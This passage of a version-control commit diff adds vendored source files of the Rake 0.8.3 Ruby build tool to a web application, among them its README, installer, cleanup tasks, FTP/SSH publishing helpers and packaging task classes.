+== What is Rake
+
+Rake is a build tool similar to the make program in many ways. But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies. You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Task Argument Examples
+
+Prior to version 0.8.0, rake was only able to handle command line
+arguments of the form NAME=VALUE that were passed into Rake via the
+ENV hash.  Many folks had asked for some kind of simple command line
+arguments, perhaps using "--" to separate regular task names from
+argument values on the command line.  The problem is that there was no
+easy way to associate positional arguments on the command line with
+different tasks.  Suppose both tasks :a and :b expect a command line
+argument: does the first value go with :a?  What if :b is run first?
+Should it then get the first command line argument.
+
+Rake 0.8.0 solves this problem by explicitly passing values directly
+to the tasks that need them.  For example, if I had a release task
+that required a version number, I could say:
+
+   rake release[0.8.3]
+
+And the string "0.8.3" will be passed to the :release task.  Multiple
+arguments can be passed by separating them with a comma, for example:
+
+   rake name[john,doe]
+
+Just a few words of caution.  The rake task name and its arguments
+need to be a single command line argument to rake.  This generally
+means no spaces.  If spaces are needed, then the entire rake +
+argument string should be quoted.  Something like this:
+
+   rake "name[billy bob, smith]"
+
+(Quoting rules vary between operating systems and shells, so make sure
+you consult the proper docs for your OS/shell).
+
+=== Tasks that Expect Parameters
+
+Parameters are only given to tasks that are setup to expect them.  In
+order to handle named parameters, the task declaration syntax for
+tasks has been extended slightly.
+
+For example, a task that needs a first name and last name might be
+declared as:
+
+   task :name, :first_name, :last_name
+
+The first argument is still the name of the task (:name in this case).
+The next to argumements are the names of the parameters expected by
+:name (:first_name and :last_name in the example).
+
+To access the values of the paramters, the block defining the task
+behaviour can now accept a second parameter:
+
+   task :name, :first_name, :last_name do |t, args|
+     puts "First name is #{args.first_name}"
+     puts "Last  name is #{args.last_name}"
+   end
+
+The first argument of the block "t" is always bound to the current
+task object.  The second argument "args" is an open-struct like object
+that allows access to the task arguments.  Extra command line
+arguments to a task are ignored.  Missing command line arguments are
+given the nil value.
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes. The
+following people either contributed patches, made suggestions or made
+otherwise helpful comments.  Thanks to ...
+
+* Edwin Pratomo
+* Gavin Stark
+* Adam Q. Salter
+* Adam Majer
+* Emanuel Indermühle
+* Ittay Dror
+* Bheeshmar Redheendran (for spending an afternoon with me debugging
+  windows issues)
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/install.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/install.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/install.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,88 @@
+require 'rbconfig'
+require 'find'
+require 'ftools'
+
+include Config
+
+$ruby = CONFIG['ruby_install_name']
+
+##
+# Install a binary file. We patch in on the way through to
+# insert a #! line. If this is a Unix install, we name
+# the command (for example) 'rake' and let the shebang line
+# handle running it. Under windows, we add a '.rb' extension
+# and let file associations to their stuff
+#
+
+def installBIN(from, opfile)
+
+  tmp_dir = nil
+  for t in [".", "/tmp", "c:/temp", $bindir]
+    stat = File.stat(t) rescue next
+    if stat.directory? and stat.writable?
+      tmp_dir = t
+      break
+    end
+  end
+
+  fail "Cannot find a temporary directory" unless tmp_dir
+  tmp_file = File.join(tmp_dir, "_tmp")
+    
+  File.open(from) do |ip|
+    File.open(tmp_file, "w") do |op|
+      ruby = File.join($realbindir, $ruby)
+      op.puts "#!#{ruby} -w"
+      op.write ip.read
+    end
+  end
+
+  opfile += ".rb" if CONFIG["target_os"] =~ /mswin/i
+  File::install(tmp_file, File.join($bindir, opfile), 0755, true)
+  File::unlink(tmp_file)
+end
+
+$sitedir = CONFIG["sitelibdir"]
+unless $sitedir
+  version = CONFIG["MAJOR"]+"."+CONFIG["MINOR"]
+  $libdir = File.join(CONFIG["libdir"], "ruby", version)
+  $sitedir = $:.find {|x| x =~ /site_ruby/}
+  if !$sitedir
+    $sitedir = File.join($libdir, "site_ruby")
+  elsif $sitedir !~ Regexp.quote(version)
+    $sitedir = File.join($sitedir, version)
+  end
+end
+
+$bindir =  CONFIG["bindir"]
+
+$realbindir = $bindir
+
+bindir = CONFIG["bindir"]
+if (destdir = ENV['DESTDIR'])
+  $bindir  = destdir + $bindir
+  $sitedir = destdir + $sitedir
+  
+  File::makedirs($bindir)
+  File::makedirs($sitedir)
+end
+
+rake_dest = File.join($sitedir, "rake")
+File::makedirs(rake_dest, true)
+File::chmod(0755, rake_dest)
+
+# The library files
+
+files = Dir.chdir('lib') { Dir['**/*.rb'] }
+
+for fn in files
+  fn_dir = File.dirname(fn)
+  target_dir = File.join($sitedir, fn_dir)
+  if ! File.exist?(target_dir)
+    File.makedirs(target_dir)
+  end
+  File::install(File.join('lib', fn), File.join($sitedir, fn), 0644, true)
+end
+
+# and the executable
+
+installBIN("bin/rake", "rake")

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/classic_namespace.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/classic_namespace.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/classic_namespace.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+# The following classes used to be in the top level namespace.
+# Loading this file enables compatibility with older Rakefile that
+# referenced Task from the top level.
+
+Task = Rake::Task
+FileTask = Rake::FileTask
+FileCreationTask = Rake::FileCreationTask
+RakeApp = Rake::Application

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/clean.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/clean.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/clean.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+
+# The 'rake/clean' file defines two file lists (CLEAN and CLOBBER) and
+# two rake tasks (:clean and :clobber).
+#
+# [:clean] Clean up the project by deleting scratch files and backup
+#          files.  Add files to the CLEAN file list to have the :clean
+#          target handle them.
+#
+# [:clobber] Clobber all generated and non-source files in a project.
+#            The task depends on :clean, so all the clean files will
+#            be deleted as well as files in the CLOBBER file list.
+#            The intent of this task is to return a project to its
+#            pristine, just unpacked state.
+
+require 'rake'
+
+CLEAN = Rake::FileList["**/*~", "**/*.bak", "**/core"]
+CLEAN.clear_exclude.exclude { |fn| 
+  fn.pathmap("%f") == 'core' && File.directory?(fn) 
+}
+
+desc "Remove any temporary products."
+task :clean do
+  CLEAN.each { |fn| rm_r fn rescue nil }
+end
+
+CLOBBER = Rake::FileList.new
+
+desc "Remove any generated file."
+task :clobber => [:clean] do
+  CLOBBER.each { |fn| rm_r fn rescue nil }
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/compositepublisher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/compositepublisher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/compositepublisher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+#!/usr/bin/env ruby
+
+module Rake
+
+  # Manage several publishers as a single entity.
+  class CompositePublisher
+    def initialize
+      @publishers = []
+    end
+    
+    # Add a publisher to the composite.
+    def add(pub)
+      @publishers << pub
+    end
+    
+    # Upload all the individual publishers.
+    def upload
+      @publishers.each { |p| p.upload }
+    end
+  end
+
+end
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/ftptools.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/ftptools.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/ftptools.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,153 @@
+#!/usr/bin/env ruby
+
+# = Tools for FTP uploading.
+#
+# This file is still under development and is not released for general
+# use.
+
+require 'date'
+require 'net/ftp'
+
+module Rake # :nodoc:
+
+  ####################################################################
+  # <b>Note:</b> <em> Not released for general use.</em>
+  class FtpFile
+    attr_reader :name, :size, :owner, :group, :time
+
+    def self.date
+      @date_class ||= Date
+    end
+
+    def self.time
+      @time_class ||= Time
+    end
+
+    def initialize(path, entry)
+      @path = path
+      @mode, line, @owner, @group, size, d1, d2, d3, @name = entry.split(' ')
+      @size = size.to_i
+      @time = determine_time(d1, d2, d3)
+    end
+
+    def path
+      File.join(@path, @name)
+    end
+
+    def directory?
+      @mode[0] == ?d
+    end
+
+    def mode
+      parse_mode(@mode)
+    end
+
+    def symlink?
+      @mode[0] == ?l
+    end
+
+    private # --------------------------------------------------------
+
+    def parse_mode(m)
+      result = 0
+      (1..9).each do |i|
+        result = 2*result + ((m[i]==?-) ? 0 : 1)
+      end
+      result
+    end
+
+    def determine_time(d1, d2, d3)
+      now = self.class.time.now
+      if /:/ =~ d3
+        h, m = d3.split(':')
+        result = Time.parse("#{d1} #{d2} #{now.year} #{d3}")
+        if result > now
+          result = Time.parse("#{d1} #{d2} #{now.year-1} #{d3}")
+        end
+      else
+        result = Time.parse("#{d1} #{d2} #{d3}")
+      end
+      result
+#       elements = ParseDate.parsedate("#{d1} #{d2} #{d3}")
+#       if elements[0].nil?
+#         today = self.class.date.today
+#         if elements[1] > today.month
+#           elements[0] = today.year - 1
+#         else
+#           elements[0] = today.year
+#         end
+#       end
+#       elements = elements.collect { |el| el.nil? ? 0 : el }
+#       Time.mktime(*elements[0,7])
+    end
+  end
+
+  ####################################################################
+  # Manage the uploading of files to an FTP account.
+  class FtpUploader
+
+    # Log uploads to standard output when true.
+    attr_accessor :verbose
+
+    class << FtpUploader
+      # Create an uploader and pass it to the given block as +up+.
+      # When the block is complete, close the uploader.
+      def connect(path, host, account, password)
+        up = self.new(path, host, account, password)
+        begin
+          yield(up)
+        ensure
+          up.close
+        end
+      end
+    end
+
+    # Create an FTP uploader targetting the directory +path+ on +host+
+    # using the given account and password.  +path+ will be the root
+    # path of the uploader.
+    def initialize(path, host, account, password)
+      @created = Hash.new
+      @path = path
+      @ftp = Net::FTP.new(host, account, password)
+      makedirs(@path)
+      @ftp.chdir(@path)
+    end
+
+    # Create the directory +path+ in the uploader root path.
+    def makedirs(path)
+      route = []
+      File.split(path).each do |dir|
+        route << dir
+        current_dir = File.join(route)
+        if @created[current_dir].nil?
+          @created[current_dir] = true
+          puts "Creating Directory  #{current_dir}" if @verbose
+          @ftp.mkdir(current_dir) rescue nil
+        end
+      end
+    end
+
+    # Upload all files matching +wildcard+ to the uploader's root
+    # path.
+    def upload_files(wildcard)
+      Dir[wildcard].each do |fn|
+        upload(fn)
+      end
+    end
+    
+    # Close the uploader.
+    def close
+      @ftp.close
+    end
+
+    private # --------------------------------------------------------
+
+    # Upload a single file to the uploader's root path.
+    def upload(file)
+      puts "Uploading #{file}" if @verbose
+      dir = File.dirname(file)
+      makedirs(dir)
+      @ftp.putbinaryfile(file, file) unless File.directory?(file)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/publisher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/publisher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/publisher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,75 @@
+#!/usr/bin/env ruby
+
+# Copyright 2003, 2004 by Jim Weirich (jim at weirichhouse.org)
+# All rights reserved.
+
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+
+# Configuration information about an upload host system.
+# * name   :: Name of host system.
+# * webdir :: Base directory for the web information for the
+#             application.  The application name (APP) is appended to
+#             this directory before using.
+# * pkgdir :: Directory on the host system where packages can be
+#             placed. 
+HostInfo = Struct.new(:name, :webdir, :pkgdir)
+
+# Manage several publishers as a single entity.
+class CompositePublisher
+  def initialize
+    @publishers = []
+  end
+
+  # Add a publisher to the composite.
+  def add(pub)
+    @publishers << pub
+  end
+
+  # Upload all the individual publishers.
+  def upload
+    @publishers.each { |p| p.upload }
+  end
+end
+
+# Publish an entire directory to an existing remote directory using
+# SSH.
+class SshDirPublisher
+  def initialize(host, remote_dir, local_dir)
+    @host = host
+    @remote_dir = remote_dir
+    @local_dir = local_dir
+  end
+
+  def upload
+    run %{scp -rq #{@local_dir}/* #{@host}:#{@remote_dir}}
+  end
+end
+
+# Publish an entire directory to a fresh remote directory using SSH.
+class SshFreshDirPublisher < SshDirPublisher
+  def upload
+    run %{ssh #{@host} rm -rf #{@remote_dir}} rescue nil
+    run %{ssh #{@host} mkdir #{@remote_dir}}
+    super
+  end
+end
+
+# Publish a list of files to an existing remote directory.
+class SshFilePublisher
+  # Create a publisher using the give host information.
+  def initialize(host, remote_dir, local_dir, *files)
+    @host = host
+    @remote_dir = remote_dir
+    @local_dir = local_dir
+    @files = files
+  end
+
+  # Upload the local directory to the remote directory.
+  def upload
+    @files.each do |fn|
+      run %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/rubyforgepublisher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/rubyforgepublisher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/rubyforgepublisher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+#!/usr/bin/env ruby
+
+require 'rake/contrib/sshpublisher'
+
+module Rake
+
+  class RubyForgePublisher < SshDirPublisher
+    attr_reader :project, :proj_id, :user
+    
+    def initialize(projname, user)
+      super(
+        "#{user}@rubyforge.org",
+        "/var/www/gforge-projects/#{projname}",
+        "html")
+    end
+  end
+  
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sshpublisher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sshpublisher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sshpublisher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+#!/usr/bin/env ruby
+
+require 'rake/contrib/compositepublisher'
+
+module Rake
+
+  # Publish an entire directory to an existing remote directory using
+  # SSH.
+  class SshDirPublisher
+    def initialize(host, remote_dir, local_dir)
+      @host = host
+      @remote_dir = remote_dir
+      @local_dir = local_dir
+    end
+    
+    def upload
+      sh %{scp -rq #{@local_dir}/* #{@host}:#{@remote_dir}}
+    end
+  end
+  
+  # Publish an entire directory to a fresh remote directory using SSH.
+  class SshFreshDirPublisher < SshDirPublisher
+    def upload
+      sh %{ssh #{@host} rm -rf #{@remote_dir}} rescue nil
+      sh %{ssh #{@host} mkdir #{@remote_dir}}
+      super
+    end
+  end
+  
+  # Publish a list of files to an existing remote directory.
+  class SshFilePublisher
+    # Create a publisher using the give host information.
+    def initialize(host, remote_dir, local_dir, *files)
+      @host = host
+      @remote_dir = remote_dir
+      @local_dir = local_dir
+      @files = files
+    end
+    
+    # Upload the local directory to the remote directory.
+    def upload
+      @files.each do |fn|
+        sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sys.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sys.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sys.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,209 @@
+#!/usr/bin/env ruby
+
+#--
+# Copyright (c) 2003, 2004 Jim Weirich
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+#
+begin
+  require 'ftools'
+rescue LoadError
+end
+require 'rbconfig'
+
+######################################################################
+# Sys provides a number of file manipulation tools for the convenience
+# of writing Rakefiles.  All commands in this module will announce
+# their activity on standard output if the $verbose flag is set
+# ($verbose = true is the default).  You can control this by globally
+# setting $verbose or by using the +verbose+ and +quiet+ methods.
+#
+# Sys has been deprecated in favor of the FileUtils module available
+# in Ruby 1.8.
+#
+module Sys
+  RUBY = Config::CONFIG['ruby_install_name']
+
+  # Install all the files matching +wildcard+ into the +dest_dir+
+  # directory.  The permission mode is set to +mode+.
+  def install(wildcard, dest_dir, mode)
+    Dir[wildcard].each do |fn|
+      File.install(fn, dest_dir, mode, $verbose)
+    end
+  end
+
+  # Run the system command +cmd+.
+  def run(cmd)
+    log cmd
+    system(cmd) or fail "Command Failed: [#{cmd}]"
+  end
+
+  # Run a Ruby interpreter with the given arguments.
+  def ruby(*args)
+    run "#{RUBY} #{args.join(' ')}"
+  end
+  
+  # Copy a single file from +file_name+ to +dest_file+.
+  def copy(file_name, dest_file)
+    log "Copying file #{file_name} to #{dest_file}"
+    File.copy(file_name, dest_file)
+  end
+
+  # Copy all files matching +wildcard+ into the directory +dest_dir+.
+  def copy_files(wildcard, dest_dir)
+    for_matching_files(wildcard, dest_dir) { |from, to| copy(from, to) }
+  end
+
+  # Link +file_name+ to +dest_file+.
+  def link(file_name, dest_file)
+    log "Linking file #{file_name} to #{dest_file}"
+    File.link(file_name, dest_file)
+  end
+
+  # Link all files matching +wildcard+ into the directory +dest_dir+.
+  def link_files(wildcard, dest_dir)
+    for_matching_files(wildcard, dest_dir) { |from, to| link(from, to) }
+  end
+
+  # Symlink +file_name+ to +dest_file+.
+  def symlink(file_name, dest_file)
+    log "Symlinking file #{file_name} to #{dest_file}"
+    File.symlink(file_name, dest_file)
+  end
+
+  # Symlink all files matching +wildcard+ into the directory +dest_dir+.
+  def symlink_files(wildcard, dest_dir)
+    for_matching_files(wildcard, dest_dir) { |from, to| link(from, to) }
+  end
+
+  # Remove all files matching +wildcard+.  If a matching file is a
+  # directory, it must be empty to be removed.  used +delete_all+ to
+  # recursively delete directories.
+  def delete(*wildcards)
+    wildcards.each do |wildcard|
+      Dir[wildcard].each do |fn|
+        if File.directory?(fn)
+          log "Deleting directory #{fn}"
+          Dir.delete(fn)
+        else
+          log "Deleting file #{fn}"
+          File.delete(fn)
+        end
+      end
+    end
+  end
+
+  # Recursively delete all files and directories matching +wildcard+.
+  def delete_all(*wildcards)
+    wildcards.each do |wildcard|
+      Dir[wildcard].each do |fn|
+        next if ! File.exist?(fn)
+        if File.directory?(fn)
+          Dir["#{fn}/*"].each do |subfn|
+            next if subfn=='.' || subfn=='..'
+            delete_all(subfn)
+          end
+          log "Deleting directory #{fn}"
+          Dir.delete(fn)
+        else
+          log "Deleting file #{fn}"
+          File.delete(fn)
+        end
+      end
+    end
+  end
+
+  # Make the directories given in +dirs+.
+  def makedirs(*dirs)
+    dirs.each do |fn|
+      log "Making directory #{fn}"
+      File.makedirs(fn)
+    end
+  end
+
+  # Make +dir+ the current working directory for the duration of
+  # executing the given block.
+  def indir(dir)
+    olddir = Dir.pwd
+    Dir.chdir(dir)
+    yield
+  ensure
+    Dir.chdir(olddir)
+  end
+
+  # Split a file path into individual directory names.
+  #
+  # For example:
+  #   split_all("a/b/c") =>  ['a', 'b', 'c']
+  def split_all(path)
+    head, tail = File.split(path)
+    return [tail] if head == '.' || tail == '/'
+    return [head, tail] if head == '/'
+    return split_all(head) + [tail]
+  end
+
+  # Write a message to standard out if $verbose is enabled.
+  def log(msg)
+    print "  " if $trace && $verbose
+    puts msg if $verbose
+  end
+
+  # Perform a block with $verbose disabled.
+  def quiet(&block)
+    with_verbose(false, &block)
+  end
+
+  # Perform a block with $verbose enabled.
+  def verbose(&block)
+    with_verbose(true, &block)
+  end
+
+  # Perform a block with each file matching a set of wildcards.
+  def for_files(*wildcards)
+    wildcards.each do |wildcard|
+      Dir[wildcard].each do |fn|
+        yield(fn)
+      end
+    end
+  end
+
+  extend(self)
+
+  private # ----------------------------------------------------------
+
+  def for_matching_files(wildcard, dest_dir)
+    Dir[wildcard].each do |fn|
+      dest_file = File.join(dest_dir, fn)
+      parent = File.dirname(dest_file)
+      makedirs(parent) if ! File.directory?(parent)
+      yield(fn, dest_file)
+    end
+  end
+
+  def with_verbose(v)
+    oldverbose = $verbose
+    $verbose = v
+    yield
+  ensure
+    $verbose = oldverbose
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/gempackagetask.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/gempackagetask.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/gempackagetask.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,103 @@
+#!/usr/bin/env ruby
+
+# Define a package task library to aid in the definition of GEM
+# packages.
+
+require 'rubygems'
+require 'rake'
+require 'rake/packagetask'
+require 'rubygems/user_interaction'
+require 'rubygems/builder'
+
+begin
+  Gem.manage_gems
+rescue NoMethodError => ex
+  # Using rubygems prior to 0.6.1
+end
+
+module Rake
+
+  # Create a package based upon a Gem spec.  Gem packages, as well as
+  # zip files and tar/gzipped packages can be produced by this task.
+  #
+  # In addition to the Rake targets generated by PackageTask, a
+  # GemPackageTask will also generate the following tasks:
+  #
+  # [<b>"<em>package_dir</em>/<em>name</em>-<em>version</em>.gem"</b>]
+  #   Create a Ruby GEM package with the given name and version.
+  #
+  # Example using a Ruby GEM spec:
+  #
+  #   require 'rubygems'
+  #
+  #   spec = Gem::Specification.new do |s|
+  #     s.platform = Gem::Platform::RUBY
+  #     s.summary = "Ruby based make-like utility."
+  #     s.name = 'rake'
+  #     s.version = PKG_VERSION
+  #     s.requirements << 'none'
+  #     s.require_path = 'lib'
+  #     s.autorequire = 'rake'
+  #     s.files = PKG_FILES
+  #     s.description = <<EOF
+  #   Rake is a Make-like program implemented in Ruby. Tasks
+  #   and dependencies are specified in standard Ruby syntax. 
+  #   EOF
+  #   end
+  #   
+  #   Rake::GemPackageTask.new(spec) do |pkg|
+  #     pkg.need_zip = true
+  #     pkg.need_tar = true
+  #   end
+  #
+  class GemPackageTask < PackageTask
+    # Ruby GEM spec containing the metadata for this package.  The
+    # name, version and package_files are automatically determined
+    # from the GEM spec and don't need to be explicitly provided.
+    attr_accessor :gem_spec
+
+    # Create a GEM Package task library.  Automatically define the gem
+    # if a block is given.  If no block is supplied, then +define+
+    # needs to be called to define the task.
+    def initialize(gem_spec)
+      init(gem_spec)
+      yield self if block_given?
+      define if block_given?
+    end
+
+    # Initialization tasks without the "yield self" or define
+    # operations.
+    def init(gem)
+      super(gem.name, gem.version)
+      @gem_spec = gem
+      @package_files += gem_spec.files if gem_spec.files
+    end
+
+    # Create the Rake tasks and actions specified by this
+    # GemPackageTask.  (+define+ is automatically called if a block is
+    # given to +new+).
+    def define
+      super
+      task :package => [:gem]
+      desc "Build the gem file #{gem_file}"
+      task :gem => ["#{package_dir}/#{gem_file}"]
+      file "#{package_dir}/#{gem_file}" => [package_dir] + @gem_spec.files do
+        when_writing("Creating GEM") {
+          Gem::Builder.new(gem_spec).build
+          verbose(true) {
+            mv gem_file, "#{package_dir}/#{gem_file}"
+          }
+        }
+      end
+    end
+    
+    def gem_file
+      if @gem_spec.platform == Gem::Platform::RUBY
+        "#{package_name}.gem"
+      else
+        "#{package_name}-#{@gem_spec.platform}.gem"
+      end
+    end
+    
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/loaders/makefile.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/loaders/makefile.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/loaders/makefile.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+#!/usr/bin/env ruby
+
+module Rake
+
+  # Makefile loader to be used with the import file loader.
+  class MakefileLoader
+
+    # Load the makefile dependencies in +fn+.
+    def load(fn)
+      open(fn) do |mf|
+        lines = mf.read
+        lines.gsub!(/#[^\n]*\n/m, "")
+        lines.gsub!(/\\\n/, ' ')
+        lines.split("\n").each do |line|
+          process_line(line)
+        end
+      end
+    end
+
+    private
+
+    # Process one logical line of makefile data.
+    def process_line(line)
+      file_tasks, args = line.split(':')
+      return if args.nil?
+      dependents = args.split
+      file_tasks.strip.split.each do |file_task|
+        file file_task => dependents
+      end
+    end
+  end
+
+  # Install the handler
+  Rake.application.add_loader('mf', MakefileLoader.new)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/packagetask.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/packagetask.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/packagetask.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+#!/usr/bin/env ruby
+
+# Define a package task libarary to aid in the definition of
+# redistributable package files.
+
+require 'rake'
+require 'rake/tasklib'
+
+module Rake
+
+  # Create a packaging task that will package the project into
+  # distributable files (e.g zip archive or tar files).
+  #
+  # The PackageTask will create the following targets:
+  #
+  # [<b>:package</b>]
+  #   Create all the requested package files.
+  #
+  # [<b>:clobber_package</b>]
+  #   Delete all the package files.  This target is automatically
+  #   added to the main clobber target.
+  #
+  # [<b>:repackage</b>]
+  #   Rebuild the package files from scratch, even if they are not out
+  #   of date.
+  #
+  # [<b>"<em>package_dir</em>/<em>name</em>-<em>version</em>.tgz"</b>]
+  #   Create a gzipped tar package (if <em>need_tar</em> is true).  
+  #
+  # [<b>"<em>package_dir</em>/<em>name</em>-<em>version</em>.tar.gz"</b>]
+  #   Create a gzipped tar package (if <em>need_tar_gz</em> is true).  
+  #
+  # [<b>"<em>package_dir</em>/<em>name</em>-<em>version</em>.tar.bz2"</b>]
+  #   Create a bzip2'd tar package (if <em>need_tar_bz2</em> is true).  
+  #
+  # [<b>"<em>package_dir</em>/<em>name</em>-<em>version</em>.zip"</b>]
+  #   Create a zip package archive (if <em>need_zip</em> is true).
+  #
+  # Example:
+  #
+  #   Rake::PackageTask.new("rake", "1.2.3") do |p|
+  #     p.need_tar = true
+  #     p.package_files.include("lib/**/*.rb")
+  #   end
+  #
+  class PackageTask < TaskLib
+    # Name of the package (from the GEM Spec).
+    attr_accessor :name
+
+    # Version of the package (e.g. '1.3.2').
+    attr_accessor :version
+
+    # Directory used to store the package files (default is 'pkg').
+    attr_accessor :package_dir
+
+    # True if a gzipped tar file (tgz) should be produced (default is false).
+    attr_accessor :need_tar
+
+    # True if a gzipped tar file (tar.gz) should be produced (default is false).
+    attr_accessor :need_tar_gz
+
+    # True if a bzip2'd tar file (tar.bz2) should be produced (default is false).
+    attr_accessor :need_tar_bz2
+
+    # True if a zip file should be produced (default is false)
+    attr_accessor :need_zip
+
+    # List of files to be included in the package.
+    attr_accessor :package_files
+
+    # Tar command for gzipped or bzip2ed archives.  The default is 'tar'.
+    attr_accessor :tar_command
+
+    # Zip command for zipped archives.  The default is 'zip'.
+    attr_accessor :zip_command
+
+    # Create a Package Task with the given name and version. 
+    def initialize(name=nil, version=nil)
+      init(name, version)
+      yield self if block_given?
+      define unless name.nil?
+    end
+
+    # Initialization that bypasses the "yield self" and "define" step.
+    def init(name, version)
+      @name = name
+      @version = version
+      @package_files = Rake::FileList.new
+      @package_dir = 'pkg'
+      @need_tar = false
+      @need_tar_gz = false
+      @need_tar_bz2 = false
+      @need_zip = false
+      @tar_command = 'tar'
+      @zip_command = 'zip'
+    end
